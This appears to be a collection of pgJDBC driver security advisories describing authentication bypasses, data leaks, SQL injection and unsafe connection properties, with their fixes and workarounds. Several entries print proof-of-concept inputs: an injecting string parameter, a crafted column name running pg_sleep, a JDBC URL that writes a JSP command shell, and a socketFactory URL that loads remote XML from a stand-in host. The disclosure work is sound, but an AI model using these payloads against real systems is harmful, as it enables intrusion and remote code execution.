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When the requireAuth connection property excludes all six authentication methods the driver knows, for example requireAuth=!password,!md5,!gss,!sspi,!scram-sha-256,!none, releases 42.7.11 through 42.7.13 enforce no restriction. The driver accepts any method the server asks for, including cleartext password. An attacker between the application and its server can ask for cleartext password authentication and receive the database password.

The six exclusions may appear in any order, with or without spaces around the commas. A value without a method in it, such as requireAuth=,, is affected the same way. Other values are enforced correctly: a positive list such as requireAuth=scram-sha-256, and a partial exclusion such as requireAuth=!password,!md5. requireAuth has no default value, so a deployment that does not set it is not affected.

Fixed in pgJDBC 42.7.14. A connection whose requireAuth value excludes every method now fails with SQLState 08004 and the message Authentication method is not allowed by requireAuth. When channelBinding=require is also set and the server asks for a method other than SCRAM, the connection fails with SQLState 08004 and the channel binding message instead: Channel binding is required, but server requested '<method>' authentication., where <method> is the method the server asked for.

A value without a method in it now fails with SQLState 22023 and the message Invalid authentication method: <value>, where <value> is the requireAuth value, for example Invalid authentication method: ,.

After the upgrade, a configuration with such a value can no longer connect. Replace the value with a positive list of the methods your server uses.

Replace the value with a positive list of the methods your server uses, for example requireAuth=scram-sha-256. Every affected release enforces a positive list correctly.

A deployment that uses SCRAM over TLS can also set channelBinding=require, which refuses every authentication request other than SCRAM. It needs a server that offers SCRAM-SHA-256-PLUS, so a deployment that uses md5, GSS, or SSPI cannot use it.

Independently of this issue, set sslmode=verify-full with a trusted CA, so that an attacker cannot present a substitute server.

Reported by Daniel Coles

See the Security Advisory for full detail.

When an application sends a value shorter than its declared length, the driver pads the value to the declared length. Releases 42.7.4 through 42.7.13 pad with bytes of messages sent earlier on the same connection instead of zeros, and the server stores them. The padding can contain SQL text and parameter values of earlier statements, which on a pooled connection can come from other requests. When the data ends exactly at a send buffer boundary, the padding holds the bytes sent just before it, such as other parameters of the same statement and earlier rows of the same batch. Each padded value can carry up to maxSendBufferSize bytes of earlier traffic (8192 by default), or up to 16320 bytes on a GSS-encrypted connection with MIT Kerberos, repeated to fill the padding. An attacker who can make the application store such a value and read it back can repeat this to collect earlier traffic.

The declared length reaches the driver through these calls:

An application whose declared lengths always match its data is not affected. Releases 42.7.3 and earlier pad with zeros. Values that an affected release stored through one of these calls can already contain this data.

Fixed in pgJDBC 42.7.14. The driver pads with zeros.

No connection property turns this behavior off. Make the declared length match the data.

Found by Vladimir Sitnikov

See the Security Advisory for full detail.

On a connection with GSS encryption (gssEncMode=prefer or require, to a server that accepts GSS encryption), releases 42.7.4 and 42.7.5 can send the previous contents of the GSS send buffer in place of the first 16320 bytes of a value, which is the buffer size with MIT Kerberos. The server stores the value without an error. The stored value then holds bytes the driver sent just before it on that connection, such as the statement’s SQL text, its other parameters, and earlier rows of the same batch. Most affected writes fail instead with An I/O error occurred while sending to the backend.

The values affected are at least 16320 bytes long and are written from a byte array: bind parameters set with setString or setBytes, ByteStreamWriter parameters, CopyIn.writeToCopy, and LargeObject.write. InputStream parameters such as setBinaryStream are not affected. Connections without GSS encryption are not affected, and the default, gssEncMode=allow, does not start GSS encryption. Releases 42.7.3 and earlier are not affected.

Fixed in pgJDBC 42.7.6 by PR #3500. Values that 42.7.4 or 42.7.5 stored over GSS encryption can already contain this data.

On 42.7.4 and 42.7.5, set gssEncMode=disable and use TLS for transport encryption instead.

Found by Vladimir Sitnikov

See the Security Advisory for full detail.

channelBinding=require connections can be silently downgraded from SCRAM-SHA-256-PLUS (with channel binding) to plain SCRAM-SHA-256 (without it), losing the man-in-the-middle protection the setting is meant to guarantee. An attacker who can intercept the TLS connection triggers the downgrade with a certificate whose signature algorithm has no tls-server-end-point channel-binding hash. Examples are Ed25519, Ed448, and post-quantum algorithms.

Two issues combine in releases 42.7.4 through 42.7.11:

  1. The bundled com.ongres.scram:scram-client (3.1 or 3.2) returns an empty byte array instead of failing when it cannot derive the binding hash for such a certificate. This is the library issue tracked as CVE-2026-53712.
  2. pgJDBC does not enforce channelBinding=require where it matters. ScramAuthenticator checks only that the server advertised a -PLUS mechanism; it neither rejects the empty binding nor checks that the negotiated mechanism uses channel binding. The connection therefore downgrades silently.

Only connections that set channelBinding=require are affected. Under the default prefer policy, and under allow or disable, falling back to plain SCRAM is the documented behaviour. Releases before 42.7.4 are unaffected, because they do not support channel binding.

Fixed in pgJDBC 42.7.12. The driver now enforces channel binding in its own code, independently of the scram-client version:

Upgrade to 42.7.12 or later.

No pgJDBC setting restores channel-binding enforcement on an affected release; upgrading is the fix.

If you cannot upgrade immediately, verify the server certificate at the TLS layer so that a man-in-the-middle cannot present a substitute certificate. Set sslmode=verify-full with a truststore that contains only your server’s CA. This defence is independent of channel binding and blocks the same attacker.

Reported by KEIJOT

See the Security Advisory for full detail.

SQL injection is possible when using the non-default connection property preferQueryMode=simple in combination with application code that has a vulnerable SQL that negates a parameter value.

There is no vulnerability in the driver when using the default query mode. Users that do not override the query mode are not impacted.

To exploit this behavior the following conditions must be met:

A placeholder for a numeric value must be immediately preceded by a minus (i.e. -) There must be a second placeholder for a string value after the first placeholder on the same line. Both parameters must be user controlled. The prior behavior of the driver when operating in simple query mode would inline the negative value of the first parameter and cause the resulting line to be treated as a – SQL comment. That would extend to the beginning of the next parameter and cause the quoting of that parameter to be consumed by the comment line. If that string parameter includes a newline, the resulting text would appear unescaped in the resulting SQL.

When operating in the default extended query mode this would not be an issue as the parameter values are sent separately to the server. Only in simple query mode the parameter values are inlined into the executed SQL causing this issue.

PreparedStatement stmt = conn.prepareStatement("SELECT -?, ?");
stmt.setInt(1, -1);
stmt.setString(2, "\nWHERE false --");
ResultSet rs = stmt.executeQuery();
The resulting SQL when operating in simple query mode would be:

SELECT --1,'
WHERE false --'
The contents of the second parameter get injected into the command. Note how both the number of result columns and the WHERE clause of the command have changed. A more elaborate example could execute arbitrary other SQL commands.

Do not use the connection propertypreferQueryMode=simple. (NOTE: If you do not explicitly specify a query mode then you are using the default of extended and are not impacted by this issue.)

Patched in versions 42.7.2, 42.6.1, 42.5.5, 42.4.4, 42.3.9, 42.2.28, and 42.2.28-jre7

No patch available for 42.2.26-jre6

Reported by Paul Gerste

What kind of vulnerability is it? Who is impacted?

The PGJDBC implementation of the java.sql.ResultRow.refreshRow() method is not performing escaping of column names so a malicious column name that contains a statement terminator, e.g. ; , could lead to SQL injection. This could lead to executing additional SQL commands as the application’s JDBC user.

User applications that do not invoke the ResultSet.refreshRow() method are not impacted.

User application that do invoke that method are impacted if the underlying database that they are querying via their JDBC application may be under the control of an attacker. The attack requires the attacker to trick the user into executing SQL against a table name who’s column names would contain the malicious SQL and subsequently invoke the refreshRow() method on the ResultSet.

For example:

CREATE TABLE refresh_row_example (
  id     int PRIMARY KEY,
  "1 FROM refresh_row_example; SELECT pg_sleep(10); SELECT * " int
);

This example has a table with two columns. The name of the second column is crafted to contain a statement terminator followed by additional SQL. Invoking the ResultSet.refreshRow() on a ResultSet that queried this table, e.g. SELECT * FROM refresh_row , would cause the additional SQL commands such as the SELECT pg_sleep(10) invocation to be executed.

As the multi statement command would contain multiple results, it would not be possible for the attacker to get data directly out of this approach as the ResultSet.refreshRow() method would throw an exception. However, the attacker could execute any arbitrary SQL including inserting the data into another table that could then be read or any other DML / DDL statement.

Note that the application’s JDBC user and the schema owner need not be the same. A JDBC application that executes as a privileged user querying database schemas owned by potentially malicious less-privileged users would be vulnerable. In that situation it may be possible for the malicious user to craft a schema that causes the application to execute commands as the privileged user.

Has the problem been patched? What versions should users upgrade to?

Yes, versions 42.2.26 and 42.4.1 have been released with a fix.

The 42.2.26 release was provided to support older clients that are still running JDK 6 or JDK 7 that cannot upgrade to the 42.4.x release line (which requires JDK 8+).

We are not releasing a version for the 43.3.x release line and users are advised to upgrade to the 42.4.1 release to get the fix.

Is there a way for users to fix or remediate the vulnerability without upgrading?

Check that you are not using the ResultSet.refreshRow() method.

If you are, ensure that the code that executes that method does not connect to a database that is controlled by an unauthenticated or malicious user. If your application only connects to its own database with a fixed schema with no DDL permissions, then you will not be affected by this vulnerability as it requires a maliciously crafted schema.

The connection properties for configuring a pgjdbc connection are not meant to be exposed to an unauthenticated attacker. While allowing an attacker to specify arbitrary connection properties could lead to a compromise of a system, that’s a defect of an application that allows unauthenticated attackers that level of control.

It’s not the job of the pgjdbc driver to decide whether a given log file location is acceptable. End user applications that use the pgjdbc driver must ensure that filenames are valid and restrict unauthenticated attackers from being able to supply arbitrary values. That’s not specific to the pgjdbc driver either, it would be true for any library that can write to the application’s local file system.

While we do not consider this a security issue with the driver, we have decided to remove the loggerFile and loggerLevel connection properties in the next release of the driver. Removal of those properties does not make exposing the JDBC URL or connection properties to an attacker safe and we continue to suggest that applications do not allow untrusted users to specify arbitrary connection properties. We are removing them to prevent misuse and their functionality can be delegated to java.util.logging.

If you identify an application that allows remote users to specify a complete JDBC URL or properties without validating it’s contents, we encourage you to notify the application owner as that may be a security defect in that specific application.

It is possible to specify an arbitrary filename in the loggerFileName connection parameter "jdbc:postgresql://localhost:5432/test?user=test&password=test&loggerLevel=DEBUG&loggerFile=./blah.jsp&<%Runtime.getRuntime().exec(request.getParameter("i"));%>"

This creates a valid JSP file which could lead to a Remote Code Execution

As of version 42.3.3 loggerFile is ignored by the driver.

upgrade to latest version.

Reported by Allan Lou v3ged0ge@gmail.com

pgjdbc instantiates plugin instances based on class names provided via authenticationPluginClassName, sslhostnameverifier, socketFactory, sslfactory, sslpasswordcallback connection properties.

However, the driver did not verify if the class implements the expected interface before instantiating the class.

Here’s an example attack using an out-of-the-box class from Spring Framework:

DriverManager.getConnection("jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support. ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml");

The first impacted version is REL9.4.1208 (it introduced socketFactory connection property)